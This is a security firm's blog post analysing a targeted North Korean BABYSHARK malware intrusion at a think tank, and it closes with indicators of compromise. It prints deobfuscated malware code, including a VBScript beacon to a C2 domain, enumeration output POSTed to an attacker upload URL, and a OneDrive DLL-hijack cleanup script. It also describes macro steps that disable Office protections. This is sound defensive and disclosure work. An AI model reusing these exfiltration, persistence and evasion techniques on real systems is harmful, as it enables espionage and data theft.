Targeted APT Activity: BABYSHARK Is Out for Blood

tl;dr: This blog follows the ThreatOps investigation of targeted DPRK (North Korean) backed cyber espionage efforts against Nuclear Think Tanks. It details the threat hunt from beginning to end, including how our ThreatOps analysts found the threat, how our team peeled back the layers to analyze the malicious activity and how the threat actors phished their way into the partner's network in the first place. Scroll to the bottom for indicators of compromise.

On February 16, Huntress discovered malicious and targeted advanced persistent threat (APT) activity within a trialing partner organization. This activity aligns with known tradecraft attributed to North Korean threat actors targeting national security think tanks.

The uncovered malware family, dubbed BABYSHARK by other researchers, is used by a DPRK state-sponsored threat actor. This variant was significantly customized and tailored to the specific victim environment, indicating a targeted attack.

In this blog, we'll pull back the curtain on the technical details, our internal process of investigation and the lessons learned for the greater security community.

Right of Boom and Backwards

This story begins with our tried-and-true service: detecting persistence, or how hackers establish and maintain access to their victim.

Discovering persistence mechanisms keys us in that there was undeniably malicious threat actor behavior. We start with this scene of the crime, and then work backward, unveiling new clues and breadcrumbs to uncover the full picture.

Once our 24/7 Security analysts identified the activity, we began an investigation to identify how deep the rabbit hole went.

Our initial discovery was a scheduled task, masquerading with the name [.highlight]GoogleUpdater[.highlight] that ran a VBScript script [.highlight]qwert.vbs[.highlight]. This is a commonly used technique (MITRE ATT&CK T1035.005) to blend in and avoid detection by sounding like something legitimate—in this case, Google. Using a legitimate file ([.highlight]wscript.exe[.highlight]) to run the malicious script further helps to avoid detection that is based on scanning of the binary that is running.

[.highlight]qwert.vbs[.highlight] included code to reach out to a Google Drive file.

Viewing this Google Drive file, it turns out to be completely blank: an empty file. Note the lengthy filename at the very top of the display, however.

Downloading the page with [.highlight]curl[.highlight], we can see the HTML source of the Google Drive page—which does not appear to be overtly malicious upon first glance. But taking a closer look, we uncovered some odd “markers” in the lengthy file name displayed.

Aside from what looked like gibberish, there were the strings “[.highlight]manage[.highlight]” with parentheses following it—almost to look like a function call, as if the parameters d=7 were passed in. Immediately following it was a [.highlight]johnbegin[.highlight]-- and a significant amount of nonsense characters, and eventually a --[.highlight]johnend[.highlight] string. The [.highlight]johnbegin[.highlight] and [.highlight]johnend [.highlight]text seemed to be delimiters to wrap around the random data… perhaps that was encoded data in some way!

With that breadcrumb, our ThreatOps team began looking over open-source research online to determine if others have seen these “[.highlight]johnbegin[.highlight]” and “[.highlight]johnend[.highlight]” markings.

North Korea's recent BabyShark malware works with the fileless technique by downloading encrypted malicious scripts from Google drive. Malicious scripts distinguish between start and end with "[.highlight]johnbegin[.highlight]" and "[.highlight]johnend[.highlight]". pic.twitter.com/6INRjQeecs

— IssueMakersLab (@issuemakerslab) March 21, 2020

‍

Thanks to some shared intelligence by Palo Alto’s Unit42, malware reporting sites and others, we were able to discover that these delimiters were key indicators of a strain of malware dubbed BABYSHARK, known for being used by North Korean state-sponsored threat actors.

Doing our due diligence to read up on the great analysis and research from those who have seen this in the wild before us, it was clear the previous sightings dated back to the 2018-2019 timeframe. For this specific incident, the first indicators of compromise we uncovered were in March of 2021.

Knowing that we were now digging into a malicious APT activity, we deployed our Process Insights functionality to this host and organization for even greater visibility.

Peeling Back the Layers

With a better understanding of what we were looking at, we continued to dig through the [.highlight]qwert.vbs[.highlight] sample.

From reading the code, we could see that this scheduled VBScript would download the contents of this Google Drive page on first execution and carve out the obfuscated data between the [.highlight]johnbegin[.highlight] and [.highlight]johnend[.highlight] delimiters to be saved as a file [.highlight]normal.crp[.highlight]. Later, upon second execution by the scheduled task, the script deobfuscates the saved data and executes it as VBScript.

Considering we can see the deobfuscation routine, we can run that on our own and unravel what actual code would be present and executed from [.highlight]normal.crp[.highlight].

Note: This screenshot is an excerpt of the code present and the full file can be reviewed with the gist link above.

There is a lot to unpack and discuss within this VBScript code. We will start with the most interesting observation: the malware checks the current username.

The Cast of Characters

We want to emphasize that the observed APT activity is highly targeted against this organization and affiliated individuals.

The target organization fits the category of “think tanks,” as alluded to in the very beginning of this post. Additionally, this target’s computer had a hostname referring to the owner and user—who, for partner confidentiality, we'll refer to as Alex.

Alex's computer was not the only host in this organization that Huntress was supporting—other devices with a hostname based on their user were visible to us, but during the time of our analysis, only Alex's machine was online. To tell the whole story, we knew we needed access to another important user’s machine. We will refer to this user as Bob.

Notice that the [.highlight]normal.crp[.highlight] file specifically checks for the presence of the username “Administrator,” or our newly introduced character, “Bob.” The malware would not run if it was not under Bob. If the current username did not match either of these two names, the malware will reach out to an HTTP C2 server. The malware will then stop itself from executing on the system.

This was particularly interesting to us. This attack was tailored to focus only on Bob. If (and only if) the username matched Bob, then it would add persistence mechanisms in the Windows registry, stage new obfuscated files, and continue communications with its C2 servers.

Following Breadcrumbs

Noting the newly discovered activity from [.highlight]normal.crp[.highlight], we found several other persistence mechanisms on the host. We discovered the scheduled task named [.highlight]Microsoft-Windows-UpdateDefender[.highlight] that used another VBS script called [.highlight]sys0.vbs[.highlight] to open up a registry key [.highlight]HKEY_CURRENT_USER\Software\RegisteredApplications\[random][.highlight] and perform some string replacement on the data stored there and execute the contents.

(This filename [.highlight]sys0.vbs[.highlight] differs from the suggested [.highlight]sys1.vbs[.highlight] name in the recovered [.highlight]normal.crp [.highlight]script, but after finding both renditions on different hosts, both contain the same contents).

Examining the contents of the task file showed that the commands were executed every 29 minutes, while [.highlight]sys1.vbs[.highlight] would be executed every 61 minutes.

This was also confirmed by looking at the data collected by Process Insights. Process Insights is the newest addition to The Huntress Managed Security Platform, offering greater visibility and telemetry on actions performed on an endpoint at the process level. This captures information like process spawn time, origination, path and any subsequent child process data—in real-time. 😉

(Click the above image to enlarge it)

The [.highlight]filexx.tmp[.highlight] and [.highlight]schedxx.tmp[.highlight] files were written to disk as means of checking if this code was executed previously. These files were not present on Alex's machine at the time of our analysis.

The registry value at "[.highlight]HKEY_CURRENT_USER\Software\RegisteredApplications\AppXr1bysyqf6kpaq1aje5sbadka8dgx3g4g[.highlight]" contained even more VBScript code.

This code reached out to a C2 domain to retrieve the contents for yet another new file, [.highlight]desktop.tmp[.highlight], if it was not already present. This code is exactly in line with what we uncovered from the [.highlight]normal.crp[.highlight], but it pulls from a different C2 domain ([.highlight]worldinfocontact[.]club[.highlight] rather than [.highlight]hodbeast[.]com[.highlight]).

The distinction between these domains seemed to be that [.highlight]worldinfocontact[.]club [.highlight]is their beaconing command and control. It reached out to this C2 on a set interval, retrieved any pending commands to be executed, slept, then executed those new tasks. The response from [.highlight]worldinfocontact[.]club /111/alex/expres[.]php?op=2[.highlight] was inherently going to vary from time to time as the threat actors queued new commands and scripts to execute remotely.

The contents of desktop.tmp were then subsequently changing as they were the last set of commands sent by the C2 server.

The [.highlight]desktop.tmp[.highlight] file contents we uncovered on Alex's machine were obfuscated commands to run the OneDrive.exe process. It is fair to say that this is the “fallback” procedure from the C2 (when no other commands were pending) to ensure whatever DLL hijacking they set up would continue to execute, even if the OneDrive process was stopped. We will revisit the alleged DLL hijacking technique in our analysis of other artifacts soon.

This deobfuscated [.highlight]desktop.tmp[.highlight] on Alex's host is below:

[.highlight]On Error Resume Next:Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("""%userprofile%\AppData\Local\Microsoft\OneDrive\onedrive.exe"" /background",0,false)[.highlight]

Bear in mind that this was returned from the [.highlight]worldinfocontact[.]club[.highlight] endpoint. However, [.highlight]hodbeast[.]com[.highlight], on the other hand, returned obfuscated syntax that would ultimately run some enumeration commands and write the output to a file [.highlight]ttmp1.log[.highlight].

[.highlight]cmd.exe /c PowerShell Get-Process outlook ^| Format-List Path [.highlight]
[.highlight]cmd.exe /c whoami[.highlight]
[.highlight]cmd.exe /c net user[.highlight]
[.highlight]tasklist[.highlight]

The [.highlight]ttmp1.log[.highlight] file is then Base64 encoded with [.highlight]certutil -f -encode[.highlight] to be saved as [.highlight]ttmp.log[.highlight] and then uploaded to [.highlight]https[:]//hodbeast.com/silver/upload[.]php[.highlight] with a POST request.

This data exfiltration technique is in line with previous sightings and is known in the MITRE ATT&CK page for BABYSHARK malware.

Finally, other files present on Alex's machine were desktop.r5u and desktop.xml. These files had identical contents. The “BEGIN” and “END” certificate delimiters indicate this file would also be unraveled with certutil.

[.highlight]

desktop.r5u[.highlight] and [.highlight]desktop.xml[.highlight] decode to a RAT.

Looking at the first few characters ([.highlight]TVqQAA[.highlight]) we can see that this is probably a base64 encoded PE file. Indeed, using CyberChef, we can decode the base64 text to obtain a DLL file.

Loading the DLL in [.highlight]pestudio[.highlight] reveals a pdb path that leaves nothing to the imagination: “[.highlight]H:\Hollow\googleDrive_rat_load_complete\rat_load\Release\rat_load.pdb[.highlight]”

It’s worth noting that this file cannot be found in VirusTotal. While we have not yet finished our analysis on this DLL, it is not a stretch to consider this could be a variant of the KimJongRAT known to be often used alongside BABYSHARK.

The [.highlight]desktop.xml[.highlight] file seems to copy itself to (or possibly check for) [.highlight]desktop.r5u[.highlight] file in [.highlight]%appdata\roaming\Microsoft%[.highlight] directory as this can be found hardcoded in the binary.

It also contains references to the following DLLs within an embedded PE file:

The exports from this binary are as follows:

If there weren’t already enough moving pieces to this story, we uncovered even more activity through [.highlight]wscript.exe[.highlight] with our Process Insights capability. Alongside the running scheduled tasks, there was an occurrence of a script CF8C.vbs being run out of Alex's temporary directory.

[.highlight]wscript.exe C:\Users\Alex\AppData\Local\Temp\CF8C.vbs [MoreVBScript][.highlight]

This [.highlight]CF8C.vbs[.highlight] file was no longer present on the host, but considering it had practically the contents of another script passed as another argument, it was clear it would again deobfuscate or substitute symbols and execute more VBScript.

This deobfuscated VBScript reaches out to a OneDrive link, a tactic once again referenced in other public research, then deobfuscates and executes the supplied VBScript.

This decodes to...

[.highlight]On Error Resume Next:Set fs = CreateObject("Scripting.FileSystemObject"):Set ws=CreateObject("WScript.Shell"):Set p0 = CreateObject("msxml2.xmlhttp"):scriptdir = ws.ExpandEnvironmentStrings("%appdata%"):userdir = ws.ExpandEnvironmentStrings("%userprofile%"):username = lcase(ws.ExpandEnvironmentStrings("%username%")):username=Escape(username):username=Replace(username,"%u",""):chk="no":username=lcase(username):p0.open "GET", "https://frebough.com/onedrive/winmm.php?op=" +username,false:p0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":p0.Send[.highlight]

Presumably, this is to tell yet another C2 server that this step is completed. It does not seem to execute more code from the response.

Additional Artifacts

Alongside the [.highlight]qwert.vbs[.highlight] file we found on Alex’s host, we uncovered multiple other strange files.

[.highlight]r.vbs[.highlight] seemed to kill the [.highlight]OneDrive.exe [.highlight]process, wait three seconds, and remove a [.highlight]version.dll[.highlight] file present in the same directory as the OneDrive executable. Then, five seconds later, it runs the [.highlight]OneDrive.exe[.highlight] process once more.

[.highlight]On Error Resume Next
Set wShell=CreateObject("WScript.Shell")
retu=wShell.run("cmd.exe /c taskkill /im onedrive.exe /f & timeout 3& del ""%userprofile%\AppData\Local\Microsoft\OneDrive\version.dll""",0,true)
retu=wShell.run("cmd.exe /c timeout 5",0,true)
retu=wShell.run("""%userprofile%\AppData\Local\Microsoft\OneDrive\onedrive.exe"" /background",0,false)[.highlight]

Unfortunately we were unable to find the [.highlight]version.dll[.highlight] file on Alex's host or any other affected machines. Considering the file placement, this looks to be a known DLL hijacking technique to run additional code.

Considering this script removes the [.highlight]version.dll[.highlight] file, once again runs OneDrive with normal execution, and the slight filename “r.vbs” perhaps this is a mechanism to “remove” another implant. We later discovered this same code on Bob’s machine under the filename 1.vbs.

Additionally, a dev.ps1 file was found on the affected host. This used inline C# code within PowerShell to seemingly track Google Chrome and Microsoft Edge tabs, monitor the use of Browser Developer Tools and log these to a [.highlight]tabid_chrome.log, tabid_edge.log[.highlight] and a [.highlight]living.log[.highlight] file that was updated the current date and time. These log files contained nothing more than an identification number for each tab, but we could see from the [.highlight]living.log[.highlight] file that this code was actively running on the victim.

(We later discovered [.highlight]dev.vbs[.highlight] on Bob’s machine which looks to kickstart the [.highlight]dev.ps1[.highlight] file—also present with the same contents under the filename [.highlight]onenote.vbs[.highlight].)

On a separate user’s machine (we will call them Charlie for the sake of storytelling) we discovered the [.highlight]onenote.vbs[.highlight] file with slightly different contents to invoke the PowerShell script with a different technique, as well as a new [.highlight]pow.ps1[.highlight] that looked to remove Google Chrome security preferences.

Putting the Puzzle Pieces Together

While we continued to do analysis on the files and threads we uncovered, we knew we were slowly building the big picture of this attack chain. Considering how BABYSHARK malware would traditionally be run, we knew we were still missing one critical piece of information: the initial access where this all started from. Where was the phish?

The first step in finding initial access was to figure out the timeframe of the compromise. To do that, we searched for other interesting files on the machines. The earliest found script file was the [.highlight]sys0.vbs[.highlight] script we found earlier. The timestamps for this file placed our timeline starting on March 9, 2021. This helped us narrow down the timeframe from when the malicious document(s) may have been downloaded.

The APT group is known to use spear phishing emails with malicious links embedded or malicious documents attached to gain access, so we started hunting for them on the system. Being extremely cautious of what we could dig through, we examined only suspicious Microsoft Office during the early months of 2021.

Unfortunately, we couldn’t find a smoking gun. But at that time, only Alex's computer was online and communicating with Huntress.

As we communicated with this trialing partner, explaining what we uncovered and the gravity of this incident, they notified the players involved. Soon enough, the other compromised machines (Bob's and Charlie's, specifically) came online.

With those hosts now accessible to Huntress, we could correlate what files were present across all of these compromised machines. While the AV product the organization was using did not stop the intrusion, it at the very least had logs of what files were scanned and when.

Using the logs across all three hosts, we uncovered only a handful of files that were present on each host. The most interesting file that stuck out to us was [.highlight]VOA_Korea.zip[.highlight]. From the logs, we could tell it had a [.highlight].doc [.highlight]file inside of it, and this seemed promising. We also noticed that the scanning of the ZIP file and its contents failed. This could be indicative of password protection.

If you hadn’t caught on to the acronym, the VOA in this case refers to the Voice of America media organization. Voice of America is an international broadcasting station in the United States, focusing on offering information and news from countries and continents all over the world.

Attempting to retrieve the [.highlight]VOA_Korea.zip [.highlight]file, it was unfortunately no longer present on each of the compromised machines.

AV logs revealed that the end user attempted to download this file two times.

Finding the Phish

There was still a [.highlight]VOA_Korea (1).zip[.highlight] that was present and we were able to retrieve the file. Uncompressing the archive, we hit another wall—the [.highlight].doc[.highlight] file was password protected. This doubles as both a sneaky phishing tactic, but also to potentially hide malicious macros from antivirus software.

It was at this point that we went from hunting to hacking and started trying to crack open the file. We do say our offense is your defense, after all! 😉

After throwing combinations of John The Ripper and Hashcat with different wordlists and rule files, eventually, a boring, basic bruteforce found the password: [.highlight]voa2021[.highlight].

With a rush of adrenaline, we went to examine the decrypted Microsoft Word document, opting for the one of quickest tools for macro analysis, olevba.

The .doc file lit up like a Christmas tree.

We found the malicious macro document used for initial access! After some quick deobfuscating (same technique as seen previously), we could see the whole picture for this attack.

This macro tells the story for almost each of the puzzle pieces we had uncovered previously.

Checks for the presence of OneDrive
Downloads a new Microsoft Word document to show the user and convince them of the phish: ([.highlight]http[:]//beastmodser.club/sil/0304/VOA_Korea[.]docx[.highlight])
Checks for the presence of antivirus products like BitDefender or Norton Security, and quits if present
Disables Microsoft Word macro protections in registry
Downloads a [.highlight]version.tmp[.highlight] file to be then moved and renamed as version.dll for the OneDrive DLL hijacking attack ([.highlight]https[:]//beastmodser.club/sil/0304/d[.]php?na=version.gif[.highlight])
Starts [.highlight]OneDriveStandaloneUpdater.exe[.highlight] to begin the DLL hijacking attack

Checking for the presence of antivirus or security software is a common technique for sophisticated malware samples, but this adds to the stealth of the operation. The malicious macro bailing out and not detonating if there are certain products present makes this even more targeted.

While this explained the [.highlight]version.dll[.highlight], unfortunately, we were unable to retrieve the original file from the malicious hosting URL. Neither the faked [.highlight]VOA_Korea.docx[.highlight] file or the DLL were still present on the newfound [.highlight]beastmodser[.]club[.highlight] domain… but it is at least known evil. 😉

Other reports on BABYSHARK malware have explained how it does disable macro warnings and Microsoft Office security protections. This was very evident in the code run by the macro…changing registry values to disable defense across practically every version of Microsoft Word.

A quick synopsis of the commands ran within that macro:

Lures and Phishbait

With the discovery of the initial attack vector and phishing document, and after analysis of the pertinent files to determine the scope of this attack, we felt this investigation was coming to a close. But even after finding the malicious macro, we were still curious—what convinced Alex to open this file?

The “lure” looked safe and secure, tucked away inside of a ZIP file with a password-protected document… what was the pretense?

We asked the trialing partner if they could find the original email. Here we showcase a fascinating back-and-forth with some cunning deception and a well-played scheme.

The threat actor reaches out to Alex under the guise of collecting info for the VOA, masquerading as a real VOA author (that author link is legitimate, along with the Twitter profile). There is no attachment—they ask for input from the victim.

Alex falls for the bait, but there is at least one clue that suggests this may have originated from an illegitimate source:

Voice of America probably doesn’t use Yahoo as their email provider. 🥴

Alex has no cause for concern here—they sent them a document with answers to their questions. For the final trick, our threat actor suggests they have “made some edits” and are sending the last copy back for final approval. To “be secure,” the document is password protected. 😈

There is the smoking gun—a OneDrive link with the hosted download for our [.highlight]VOA_Korea.zip[.highlight] file, with the password-protected Word document with the macro that kickstarts this compromise.

Thinking back to the malicious VBScript, wasn’t the target Bob, and not Alex? The threat actor may have used a roundabout method to get the true victim… but it worked.

Alex forwarded the email to their co-workers for their approval and carbon-copied the other victims.

There is no further correspondence in the email chain. The threat actor had what they wanted, and the victims were unaware they had just been phished—because it was, after all, a very clever ploy.

After we had finished our investigation and shared everything learned with the targeted organization, we continued our analysis. We found one particularly interesting news article dating back to December of 2021: “Hackers use fake media domains to trick North Korea researchers”... specifically VOA, under the very same guise.

Looking back, this was very clever malware filled with living-off-the-land techniques, using normally trusted software with OneDrive and Google Drive, staged with a particular stealthy phishing lure… but, we were disappointed in what earned the damning click.

The malicious Word document itself is the most cookie-cutter, vanilla phish bait that one might see in generic and bland cybersecurity training. Despite how often security professionals scream and shout about these barebone basics of security hygiene, still this can slip by and damage an organization.

“Please click here” is all an APT needs.

Lessons Learned

The adversary here is likely a well-funded nation-state-supported threat actor, whose operations are known for their phishing prowess and building trust or a connection before dangling the lure. The remote access trojan and data exfiltration capabilities have been present and active in the target environment for nearly a year.

We tend to share statistics and infographics about hacker dwell-time being weeks, or months, but this malware has gone unnoticed for much longer. While the victim organization had antivirus, the threat still slipped past. From our own analysis, looking through the logs, it is disheartening to see the exact moment where prevention efforts fell short.

With that, we offer a gentle reminder: [.highlight]prevention will fail. There is immense value, though, in logging, monitoring, and hunting[.highlight]. All the threads of this story could not have unfolded without the data retention and logged information available to our team of analysts and investigators.

Whether the infecting malware stems from an unskilled actor, just grabbing code off the shelf, or a trained and sophisticated APT, detection and human analysis must be in play.

The Huntress Managed Security Platform has been augmenting more features and functionality to enrich our partners' reporting and insight. Combining the powers of each of these services (Persistent Footholds, Managed Antivirus, Process Insights, etc.), we can gain a greater understanding of incidents and compromises—and for finding APT activity on a trialing partner's system, we hope that offers a great example.

• • •

Special thanks to analysts, researchers, account representatives, engineers and all involved in response to this incident and their contributions to this blog: Cat Contillo, Matt Anderson, Caleb Stewart, Dave Kleinatland, John Hammond, Matthew Brennan, Tim Kasper, Clarissa Bove, Jamie Levy, Max Rogers, Greg Ake, Rob Noeth and Sharon Martin.

‍

Indicators of Compromise

[.highlight]TypeItemNotes / sha256 HashURLretmodul[.]comAccessed during execution of [.highlight]normal.crp. May be used to signal success of attack.URLhodbeast[.]comStaging C2 urlURLworldinfocontact[.]clubBeaconing C2 urlURLfrebough[.]comStaging C2 urlURLbeastmodser[.]clubStaging C2 urlStringsH:\Hollow\googleDrive_rat_load_complete\rat_load\Release\rat_load.pdbString in desktop.xml and desktop.r5uRegistry KeyHKEY_CURRENT_USER\Software\RegisteredApplications\[random characters]Contained code that was executed by sys0.vbsFilec:\Users\<user>\AppData\Roaming\desktop.tmp5b31d65b0607ae3de40ff8376bb83f3ff4defba3b564c380be5514d9766978eaFileC:\Users\<user>\AppData\Roaming\r.vbsc86d6e9dfc79bdf29f0826327992f8cf3df3e1ed6b41f1c8f6ee67b32bef3a6bFileC:\Users\<user>\AppData\Roaming\1.vbsc86d6e9dfc79bdf29f0826327992f8cf3df3e1ed6b41f1c8f6ee67b32bef3a6bFileC:\Users\<user>\Microsoft\sys0.vbsbf82675bac2cd574fa8b87659217bffb29d4bc49b355b405ac4cd2666cd72f5aFileC:\Users\<user>\Microsoft\sys1.vbsbf82675bac2cd574fa8b87659217bffb29d4bc49b355b405ac4cd2666cd72f5aFileC:\Users\<user>\AppData\Roaming\Microsoft\desktop.xml[.highlight]

As a certificate: [.highlight]2ad3266331e405677c68bb43c490467107ca398d3ce430080a4db92036c93160[.highlight]

Converted DLL: e314b40449b7b9b84f20f49f89888511433573377e007e5c1e94fd84ecf17caf

File[.highlight]C:\Users\<user>\AppData\Roaming\Microsoft\desktop.r5u[.highlight]As a certificate: [.highlight]2ad3266331e405677c68bb43c490467107ca398d3ce430080a4db92036c93160[.highlight]

Converted DLL: e314b40449b7b9b84f20f49f89888511433573377e007e5c1e94fd84ecf17caf

File[.highlight]C:\Users\<user>\AppData\Local\Microsoft\OneDrive\version.dll[.highlight]

[.highlight][hash unavailable]FileC:\Users\<user>\AppData\Local\Microsoft\OneDrive\version.tmp[hash unavailable]FileC:\Users\<user>\AppData\Roaming\normal.crpe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855FileC:\Users\<user>\AppData\Roaming\Microsoft\Windows\qwert.vbs[.highlight]

e08fe0b287b4d112514276c2b102b9c80b4dab73257f06ab24231329389ad931

File[.highlight]C:\Users\<user>\AppData\Microsoft\ttmp.log[.highlight]

[hash unavailable]

File[.highlight]C:\Users\<user>\AppData\Microsoft\filexx.tmp[.highlight]

Checked by [.highlight]normal.crp [.highlight]for run status, created if not run previously. Contents are 111File[.highlight]C:\Users\<user>\AppData\Microsoft\schedxx.tmp[.highlight]

Checked by [.highlight]normal.crp[.highlight] for run status, created if not run previously. Contents are 111File[.highlight]C:\Users\<user>\AppData\Local\Temp\CF8C.vbs[.highlight]

[hash unavailable]File[.highlight]C:\Users\<user>\AppData\Roaming\Microsoft\dev.ps1[.highlight]

def0975728fc5da61c022bb62b7160e2764631b852ec7f83951263c7830bec8d

File[.highlight]C:\Users\<user>\AppData\Roaming\Microsoft\pow.ps1[.highlight]

d41c943fd5ffacde74f487df6a43b72e9730f05812b9b1f8dc874bd486f182b3

File[.highlight]c:\users\<user>\appdata\roaming\Microsoft\living.log(Hash varies based off the current time)FileC:\Users\<user>\AppData\Roaming\Microsoft\tabid_chrome.log[.highlight]

(Hash varies due to logging)

File[.highlight]C:\Users\<user>\AppData\Roaming\Microsoft\tabid_edge.log[.highlight]

(Hash varies due to logging)

Filec:[.highlight]\Users\<user>\AppData\Roaming\microsoft\Windows\start menu\Programs\Startup\OneNote.vbs[.highlight]

c327631a212e4a9681e3cf1574c500ce3700186cc605ae08db5878ecb0bfe66f

(Note: hash may vary across different machines)